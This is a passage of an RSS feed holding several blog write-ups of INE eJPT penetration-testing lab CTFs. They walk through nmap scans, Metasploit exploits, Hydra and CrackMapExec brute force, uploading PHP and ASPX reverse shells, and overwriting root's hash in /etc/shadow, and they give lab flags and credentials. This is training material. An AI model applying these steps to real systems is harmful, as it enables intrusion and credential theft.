src="https://cdn-images-1.medium.com/max/674/1*erVH9KJZs5wkROFeud9ZTw.png" /></figure><p><em>SSH, SMTP,http services are open. Let’s try SSH with our credentials.</em></p><p><em>ssh john@192.178.236.3 → target2.ine.local</em></p><p><em>Password for John ==&gt; Pass@john123</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*cMWBVULzqNJRibQgN03lWw.png" /></figure><p><em>We check file permissions and find that it </em><em>/etc/shadow is editable.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*AtPoMRBcTaM4uSzes-Q9Pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*1ckoquVV9cQ3LiowuhrogA.png" /></figure><p><em>We generate a new password hash using OpenSSL</em></p><p><em>openssl passwd -1 -salt abc password</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*zfmVY1WFiAoBhFGaUx94sg.png" /></figure><p><em>vim /etc/shadow is not working, try to nano /etc/shadow</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*_1Q9UoLEUXl1KTrBp-xWTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*gCl5GoamlJ7Bs6s8J7dJEA.png" /></figure><p><em>remove the * and add the hash value</em></p><p><em>The hash is then used to replace the root password in </em><em>/etc/shadow</em></p><p><em>We switch to the root user using our ‘password’</em></p><p><em>We are root!!</em></p><p><em>ls</em></p><p><em>cat flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*E4rrWQTsNqqlGq2IpRiTKw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc2dda9d2e34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing Exploitation CTF 3]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-exploitation-ctf-3-578cc73bcde6?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/578cc73bcde6</guid>
            <category><![CDATA[smbclient]]></category>
            <category><![CDATA[smbmap]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[netcat]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Wed, 04 Nov 2026 22:10:22 GMT</pubDate>
            <atom:updated>2026-11-04T22:10:22.964Z</atom:updated>
            <content:encoded><![CDATA[<h3>Completing Skill Check Labs</h3><p><em>Skill Check Labs are interactive, hands-on exercises designed to validate the knowledge and skills you’ve gained in this course through real-world scenarios. Each lab presents practical tasks that require you to apply what you’ve learned. Unlike other INE labs, solutions are not provided, challenging you to demonstrate your understanding and problem-solving abilities. Your performance is graded, allowing you to track progress and measure skill growth over time.</em></p><h3>Lab Environment</h3><p><em>Two machines are accessible at target1.ine.local and target2.ine.local. Enumerate the targets, identify and exploit the misconfigurations or vulnerabilities to capture the flags. The flag is in an MD5 hash format.</em></p><ul><li><strong><em>Flag 1: A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.</em></strong></li><li><strong><em>Flag 2: Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.</em></strong></li><li><strong><em>Flag 3: A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?</em></strong></li><li><strong><em>Flag 4: Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?</em></strong></li></ul><h3>Tools</h3><ul><li><em>Metasploit</em></li><li><em>Nmap</em></li><li><em>Python3</em></li><li><em>Netcat</em></li><li><em>smbmap</em></li><li><em>smbclient</em></li><li><em>Netstat</em></li></ul><p><em>The first two questions are based on target1.ine.local, and the next two questions are based on target2.ine.local.</em></p><p><strong><em>Flag 1: A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.</em></strong></p><p><em>As usual, we start with an Nmap scan:</em></p><p><em>nmap -sC -sV target1.ine.local</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*RkbcA4h8z88Npp0wmns22g.png" /></figure><p><em>Only two services are running, and our task is to identify which one is vulnerable. Let’s begin by analyzing the FTP service, which is running version 1.3.5.</em></p><p><em>To search for any known exploits for this version, we can query the </em><em>searchsploit database using the command: </em><em>searchsploit ProFTPD 1.3.5</em></p><p><em>msfconsole</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*mYvWxrveKQTAI_871vT-1g.png" /></figure><p><em>search proftpd 1.3.5</em></p><p><em>We have identified this service as vulnerable, and an exploit is available in the Metasploit module, which is </em><em>unix/ftp/proftpd_modcopy_exec.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*xWFmuw03KuUDpnYWjJhVxg.png" /></figure><p><em>Type </em><em>options to list the parameters needed for the module.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*xEUJodmRY64mY2FyJG9bmg.png" /></figure><p><em>We need to set </em><em>SITEPATH to </em><em>/var/www/html Because, after navigating to the website, web root is located at </em><em>/var/www/html.</em></p><p><em>Set the variables</em></p><p><em>set RHOSTS target1.ine.local</em></p><p><em>set LHOST 192.212.180.2</em></p><p><em>set SITEPATH /var/www/html</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*z-Zus96N7_AKF91FuAg45A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*wECBAiwg0I6xf-dtXxh2JQ.png" /></figure><p><em>run</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*T21H0ljqOD23mLOJp8ALEg.png" /></figure><p><em>As you can see, we have successfully created our session; type </em><em>sessions to view it, and use </em><em>sessions -u 1 to upgrade it to Meterpreter.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*BppaU5O9i_8LiSJ7fUKTzg.png" /></figure><p><em>sessions -u 1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*03u0sq6y2AOIKzpUXYubdw.png" /></figure><p><em>To interact with the Meterpreter session, type </em><em>sessions -i 2.</em></p><p><em>sessions -i 2</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*mNvHP6quA9Yby35m-ppKuA.png" /></figure><p><em>As mentioned in the question, our flag is stored in the root directory. To retrieve it, type </em><em>cat /flag1.txt. This gives us our first flag:</em></p><p><em>cat /flag1.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*zouAokUX58sS99oVtw5jJQ.png" /></figure><p><em>FLAG1{0d04dc25b7084da0835a8fc963a084bb}</em></p><p><strong><em>Flag 2: Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.</em></strong></p><p><em>As mentioned in the question, we need to enumerate local services on the target; use </em><em>netstat -tuln 127.0.0.1 to view them.</em></p><p><em>netstat -tuln 127.0.0.1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*l015WC-3MVywjMDws3k1rA.png" /></figure><p><em>Let’s interact with the service on port 8888 using </em><em>nc 127.0.0.1 8888; to use the </em><em>nc command, enter a shell by typing </em><em>shell In the Meterpreter session, and to make it interactive, type</em></p><p><em>/bin/bash -i</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*i_OW-xYUecrXf0catpqIKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*5D5T56DfNLaIxJo64sFOVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*KHvw5IwjCbx1pprYn1OsnQ.png" /></figure><p><em>Since HTTP and SMB services are running, we can use </em><em>enum4linux to enumerate the SMB service with the command: </em><em>enum4linux -a target2.ine.local.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*xEXFENEXa4O_xtbW0oISfg.png" /></figure><p><em>As you can see, there is one share with mapping and listing enabled; let’s connect to it using: smbclient </em><a href="https://target2.ine.local/site-uploads"><em>//target2.ine.local/site-uploads</em></a><em> and enter a blank password when prompted.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*kNnBwX-bBX94_isxJJ6Vyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*Wt7Wp4N5b6NHPieFq18ttg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*K3HUgVuBoDstSoqvSLxiYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*FNgKhkLRPCyl8t8eXn22UQ.png" /></figure><p><em>Upload the file to SMB using the </em><em>put command.</em></p><p><em>put php-reverse-shell.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*JOaigS8yiGV9JFdfwG9jrA.png" /></figure><p><em>Open the browser and navigate to the location:</em></p><p><a href="http://target2.ine.local/site-uploads/php-reverse-shell.php"><em>http://target2.ine.local/site-uploads/php-reverse-shell.php</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*b-hFPqI51ExqA6dnyoViGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*FRTEle2TsDu3jpyCy0O6yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*XP7KliI56UYqmRq7xznghA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*Z-9c4TchGpnWw-khj3D-ZQ.png" /></figure><p><em>FLAG4{0397ddd492fd4c1994424079a03e5b1d}</em></p><p><strong><em>Flag 4: Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?</em></strong></p><p><em>We will start by checking the shells available on the system using the command: cat /etc/shells</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*i4J0vE9dkLGuj_1nhW-Qbw.png" /></figure><p><em>To check the permissions each shell has, use the command:</em></p><p><em>cat /etc/shells | while read shell; do ls -l $shell 2&gt;/dev/null; done.</em></p><p><em>The command </em><em>cat /etc/shells | while read shell; do ls -l $shell 2&gt;/dev/null; done reads each shell listed in </em><em>/etc/shells, checks its permissions using </em><em>ls -l, and suppresses any errors (e.g., inaccessible files) with </em><em>2&gt;/dev/null.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*wQrQrgMPPB5i9LMog9MNSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*2ChivypdlI4Jse9smzfOSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*dPMWaAFZX62y_c1OvYrQpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*JZbWbz6_jBokE2aC-ATxiQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=578cc73bcde6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing Exploitation CTF 2]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-exploitation-ctf-2-18047dbaa5a5?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/18047dbaa5a5</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[smbmap]]></category>
            <category><![CDATA[firefox]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Wed, 04 Nov 2026 21:01:52 GMT</pubDate>
            <atom:updated>2026-11-04T21:01:52.731Z</atom:updated>
            <content:encoded><![CDATA[<h3>Completing Skill Check Labs</h3><p><em>Skill Check Labs are interactive, hands-on exercises designed to validate the knowledge and skills you’ve gained in this course through real-world scenarios. Each lab presents practical tasks that require you to apply what you’ve learned. Unlike other INE labs, solutions are not provided, challenging you to demonstrate your understanding and problem-solving abilities. Your performance is graded, allowing you to track progress and measure skill growth over time.</em></p><h3>Lab Environment</h3><p><em>A target machine is accessible at target.ine.local. Identify the services and capture the flags.</em></p><ul><li><strong><em>Flag 1: Looks like smb user tom has not changed his password from a very long time.</em></strong></li><li><strong><em>Flag 2: Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?</em></strong></li><li><strong><em>Flag 3: I wonder what the hint found in the previous challenge be useful for!</em></strong></li><li><strong><em>Flag 4: Can you compromise the target machine and retrieve the C://flag4.txt file?</em></strong></li></ul><p><em>The following wordlist will be useful:</em></p><ul><li><em>/usr/share/wordlists/metasploit/unix_passwords.txt</em></li></ul><h3>Tools</h3><ul><li><em>Metasploit</em></li><li><em>Nmap</em></li><li><em>smbmap</em></li><li><em>Firefox</em></li></ul><p><strong>Flag 1: Looks like smb user tom has not changed his password from a very long time.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*ZizaVRDiWptX_wjDlOT8Hw.png" /></figure><p>As usual, we begin with Nmap to scan for open ports and services using the following command</p><p>nmap -sC -sV -p- target.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*LWjHHPA2jg5aoOXe32BAEw.png" /></figure><p>So, the SMB service is running on port 445, and as the question suggests, user Tom has a weak password. Let’s attempt to brute-force the password using CrackMapExec.</p><p>We can use tools like Hydra, CrackMapExec, or a Metasploit module for brute-forcing, but in this case, we’ll use CrackMapExec.</p><p>Command:</p><p>crackmapexec smb target.ine.local -u tom -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*OcJQR0hQvg3mtfZTfLhogQ.png" /></figure><p>And here we have successfully obtained the password: felipe.</p><p>Now, we can enumerate the shares accessible to Tom and analyze his permissions using SMBMap. This will help us understand what operations he can perform on the system.</p><p>Command:</p><p>smbmap -H target.ine.local -u tom -p felipe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*qO6Yjq0pI0eCrnKIm1my_g.png" /></figure><p>Now that we know there are only three shares with read-only access, let’s connect to the HRDocuments share using the following command:</p><p>Command:</p><p>smbclient <a href="https://target.ine.local/HRDocuments">//target.ine.local/HRDocuments</a> -U tom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*XqtDO84T0p4HpF5xigbTNQ.png" /></figure><p>After connecting to the HRDocuments share, type the ls command to list the available files. Here, we find flag1.txt and leaked-hashes.txt.</p><p>To download these files, use the get command as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*bgKVNcdxjz3K3wZb3q5v_g.png" /></figure><p>Now, use the cat command to read the contents of flag1.txt. Here, we obtain our first flag:</p><p><strong>78bdadd71c4d42988dfe0603023e0744</strong></p><p>download leaked-hashes.txt file → get leaked-hashes.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*eNcEAaHTnNJTH0F4GiWrXg.png" /></figure><p><strong>Flag 2: Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?</strong></p><p>In the previous step, we discovered leaked-hashes.txt, which contains NTLM hashes. Since the question asks us to compromise the Nancy user, we can use the Metasploit module scanner/smb/smb_login to attempt authentication using the leaked NTLM hash.</p><p>First, type options to list the required options for the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*Fto0Dpn0pEBYH4NAYYRtyg.png" /></figure><p>Now, set the following options for the Metasploit module scanner/smb/smb_login:</p><p>RHOSTS: Set the target IP address or hostname which is target.ine.local</p><p>set RHOSTS target.ine.local</p><p>PASS_FILE: Set the path to the file containing the NTLM hashes, which is lekaded-hashes.txt</p><p>set PASS_FILE leaked-hashes.txt</p><p>SMBUser: Set the SMB username, which is nancy. --&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*LD_U0SIl_T-EBIK3UZBc7Q.png" /></figure><p>To create a session upon successful authentication, we need to set CreateSession to true. Once this is done, we can run the module to attempt to compromise the SMB user Nancy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*tB_mKDodQtpHSFbyx6xkIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*_tm22iJfQ-e3Q6lHPslMjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*TJ3slr0zI2BRG89Cwff1oA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*OtSo60Qe-m6_frb_ULiaBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*H_37hVpnHk0UhC1T5STqmQ.png" /></figure><p><strong>Flag.3 I wonder what the hint found in the previous challenge will be useful for!</strong></p><p>In the beginning, we enumerated the services running on the domain. Now, let’s try connecting to the FTP service using the credentials found in hint.txt. To connect to FTP, type the command: ftp target.ine.local, and enter the credentials when prompted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*HDiD_dzP4Cl1z-ft_nwwcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*CjLJbUPDfoeC_Ogebuw28A.png" /></figure><p>Here, we find our third flag, which is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*VuFUN6BANDGMYrvQfDeJtg.png" /></figure><p>7f4d86e443f04d4fabde5caf6d7a3074</p><p><strong>Flag4: Can you compromise the target machine and retrieve the C://flag4.txt file?</strong></p><p>After further analysis, we see that port 80 is open and we have FTP access. Enumeration shows that FTP is linked to this port, meaning any files uploaded will be reflected on the website. Since the server is running IIS, we can upload an ASPX shell.</p><p>Note: Use your IP address for LHOST.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*wC7JAZMlAlDE-wMOR4ab-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*xZarlYRdskXcBwyLYr0SZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*CqUewtDhpuGSumIQMBMKeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*_El0GTiDh62XvqwJGqQvIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*3aGinm1_Dz3z9xapoebzIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*yP4ygviTdeFA_UFhx97SFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*pKfj5f-4gTAzkt73qK7Xgg.png" /></figure><p>779b1c79bec9462a8a830be9cc1a05fa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*fenN7IxsQl8JlMWmq0YW3Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18047dbaa5a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing Exploitation CTF 1]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-exploitation-ctf-1-7c400ac6e397?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c400ac6e397</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[ctf1]]></category>
            <category><![CDATA[hydra]]></category>
            <category><![CDATA[dirb]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Wed, 04 Nov 2026 20:51:12 GMT</pubDate>
            <atom:updated>2026-11-04T20:51:12.541Z</atom:updated>
            <content:encoded><![CDATA[<h3>Completing Skill Check Labs</h3><p><em>Skill Check Labs are interactive, hands-on exercises designed to validate the knowledge and skills you’ve gained in this course through real-world scenarios. Each lab presents practical tasks that require you to apply what you’ve learned. Unlike other INE labs, solutions are not provided, challenging you to demonstrate your understanding and problem-solving abilities. Your performance is graded, allowing you to track progress and measure skill growth over time.</em></p><h3>Lab Environment</h3><p><em>Two Linux machines are accessible at target1.ine.local and target2.ine.local. Identify the application and service running on these machines, and capture the flags.</em></p><ul><li><strong><em>Flag 1: Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.</em></strong></li><li><strong><em>Flag 2: Further, identify and compromise an insecure system user on target1.ine.local.</em></strong></li><li><strong><em>Flag 3: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.</em></strong></li><li><strong><em>Flag 4: Further, identify and compromise a system user requiring no authentication on target2.ine.local.</em></strong></li></ul><p><em>The following wordlists will be useful:</em></p><ul><li><em>/usr/share/nmap/nselib/data/wp-plugins.lst</em></li><li><em>/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</em></li></ul><h3>Tools</h3><ul><li><em>Nmap</em></li><li><em>Hydra</em></li><li><em>Dirb</em></li><li><em>Python3</em></li><li><em>Metasploit</em></li></ul><p><strong>Flag 1: Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.</strong></p><p>cat /etc/hosts</p><p>As usual, we begin with Nmap to scan for open ports and services using the following command:</p><p>nmap -sC -sV target1.ine.local</p><p>This scan helps us identify potential entry points by detecting running services and their versions. From here, we analyze the results and proceed with exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*0HOBdR-oPePNn7KkSFX7lA.png" /></figure><p>From the Nmap scan results, we can see that port 80 is open, indicating that a web server is running on this port.</p><p>Let’s navigate to the website in a browser and analyze its content for potential vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*ciXG4Dc0wR3hTgsPI1vRrQ.png" /></figure><p>dirb <a href="http://target1.ine.local/">http://target1.ine.local</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*t7UNN78LMYEoV7JVVuRsCQ.png" /></figure><p>After examining the website and doing the dirb, we can confirm that it is running on Flatcore and has a login form. The question provides us with the credentials admin:password1.</p><p>[Flag 1 Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.]</p><p>We can use these credentials to log in directly, or alternatively, we can attempt to log in via the following endpoint: <a href="http://target1.ine.local/acp/">http://target1.ine.local/acp/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*V2eiic3YFqDBB37YTvAP-A.png" /></figure><p>After logging in, you will see a dashboard or an admin panel that looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*xdFQw_ooc08b9ungvCE06Q.png" /></figure><p>Now that we have enumerated the application, it’s time to move on to the exploitation phase. Our goal is to gain access to the root directory.</p><p>Since the website is running on Flatcore, we should check if there are any known exploits available for this CMS. We can do this using the following command:</p><p>searchsploit flatcore</p><p>This command searches the Exploit-DB database for publicly available exploits related to Flatcore. If an exploit is found, we can analyze its details and attempt to use it for further exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*8pGUmKI5r5pCdtDjldcIpg.png" /></figure><p>As you can see, there are two available exploits, but neither is present in Metasploit**.** This means we need to execute the exploit manually on our system. Since our goal is to gain access to the root system, we will use the first exploit, which is Remote Code Execution (Authenticated).</p><p>To copy the exploit’s Python code into our current working directory, we can use the following command:</p><p>searchsploit -m 50262</p><p>Note: 50262 is the exploit ID we are copying from the Exploit-DB database. Once copied, we can analyze and modify it if necessary before executing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*od123PUq9hL00hFPKGyrVA.png" /></figure><p>Before executing the exploit, we should first read and analyze the code to understand how it works. We can use various tools for this, such as cat, vim, or mousepad etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*e1bMeO_gMXPe0-h5uQWASw.png" /></figure><p>After reviewing the code, we can determine how to execute the exploit. To run the Python script and attempt exploitation, we use the following command:</p><p>python3 50262.py <a href="http://target1.ine.local/">http://target1.ine.local/</a> admin password1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*VkIT2I3qH8cBgKb300o2bw.png" /></figure><p>ls /</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*sf26oxGkUtf9nzTrbjDSWg.png" /></figure><p>And here we have our first flag, which we can read using the command:</p><p>cat /flag1.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*TuLnbsHZPx64OkZKBTemUA.png" /></figure><p>FLAG1{442b8d6ad6644f1fb3a24ca3cc2b9506}</p><p><strong>Flag2: Further, identify and compromise an insecure system user on target1.ine.local.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*pyklHajBLRQUaPk4gU4dlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*U7ARiG5esYJASedWSxjs6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*EW-MuMMjS80KlA_pqhfjSQ.png" /></figure><p>hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*sukVmxXKuycIrtxULst_cw.png" /></figure><p>So now, we have the password. Let’s log in to the SSH service using the command:</p><p>ssh <a href="/service/mailto:iamaweakuser@target1.ine.local">iamaweakuser@target1.ine.local</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*DizCrixci5s2XjBJvytlBw.png" /></figure><p>To list the contents, typels, and read the flag, use cat flag2.txt. Here we got our second flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*KBvkp4-dEEMPW-P69T3iHA.png" /></figure><p>FLAG2{effd6cf2db0b47f6a504a464274dd729}</p><p>Now, the last two questions are related to another target, target2.ine.local.</p><p><strong>Flag 3: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.</strong></p><p>This flag took more time for me because, at a certain point, I was confused about which exploit to use.</p><p>As usual, we start with an Nmap scan using our basic command</p><p>nmap -sC -sV target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Lsv9YQSEaUHzMACDg6g1_Q.png" /></figure><p>So, port 80 is open. Let’s navigate to the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*AdE7tVKUQ5pP2Pig7BGk0A.png" /></figure><p>And after analyzing, we can confirm that this website is running on WordPress. Our next step is to enumerate the vulnerable plugin.</p><p>Since it’s a WordPress site, our first instinct is to run wpscan</p><p>wpscan — url <a href="http://target2.ine.local/">http://target2.ine.local/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*HVfC_yNE2leCk2JHuuvIGQ.png" /></figure><p>But unfortunately, it didn’t reveal anything interesting related to plugins.</p><p>To dig deeper, I ran Nikto using the command: nikto -h target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*P0yl2ssi-NpqvxdjuFyerg.png" /></figure><p>And here, we discovered a plugin namedAkismet, but after enumeration, it turned out to be not vulnerable.</p><p>Next, I attempted to brute-force the plugin directory using the following command:</p><p>gobuster dir -u <a href="http://target2.ine.local/wp-content/plugins/">http://target2.ine.local/wp-content/plugins/</a> -w /usr/share/nmap/nselib/data/wp-plugins.lst</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*7HMdkKqRdZSr250UQY3oWQ.png" /></figure><p>So now, we have found another plugin named Duplicator. Let’s search for its vulnerabilities using</p><p>searchsploit duplicator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*xum_dVUWUgmMXGUxvpWa1A.png" /></figure><p>So there are multiple exploits available. One of them is an arbitrary file read exploit in Metasploit.</p><p>Let’s use it by running msfconsole and searching for that particular module.</p><p>msfconsole</p><p>search duplicator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*_dlghzGvZC9Aaybp-dMtow.png" /></figure><p>Interact with the module by typing use 1 and then options to list the required parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*RGagfABN5yWD3nMV1MMvkw.png" /></figure><p>So we need to set only RHOSTS as target2.ine.local and run the exploit.</p><p>set RHOSTS target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*0HwvW8RA5cVtaCkoLtFPqw.png" /></figure><p>And the exploit executed successfully. Now, the third flag is in the root directory. Let’s read it by setting the FILEPATH to /flag3.t</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*c1gK5UWcKzabbctv8F7yrQ.png" /></figure><p><strong>Flag 4: Further, identify and compromise a system user requiring no authentication on target2.ine.local</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*hEdoKzNsI_-m9Z4LlVUrbA.png" /></figure><p>While running /etc/passwd during the arbitrary file read, we discovered a user named iamacrazyfreeuser, who has direct access to bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*ldO9VRgVmlzaBjkHM3_Tcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*_1qx3qnaixdTGogc7dIOhw.png" /></figure><p>From the Nmap scan, we know that SSH is open, so let’s try connecting using</p><p>ssh <a href="/service/mailto:iamacrazyfreeuser@target2.ine.local">iamacrazyfreeuser@target2.ine.local</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*ljgwJZjwttOt_GD1G5utKw.png" /></figure><p>And we got access without a password. Now, for our last flag, we need to list the files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*ohL3NWX69mzM8hHWmDhrOQ.png" /></figure><p>FLAG4{29179543c5dc4a53a6f1ec0540da9dc7}</p><figure><img alt="" 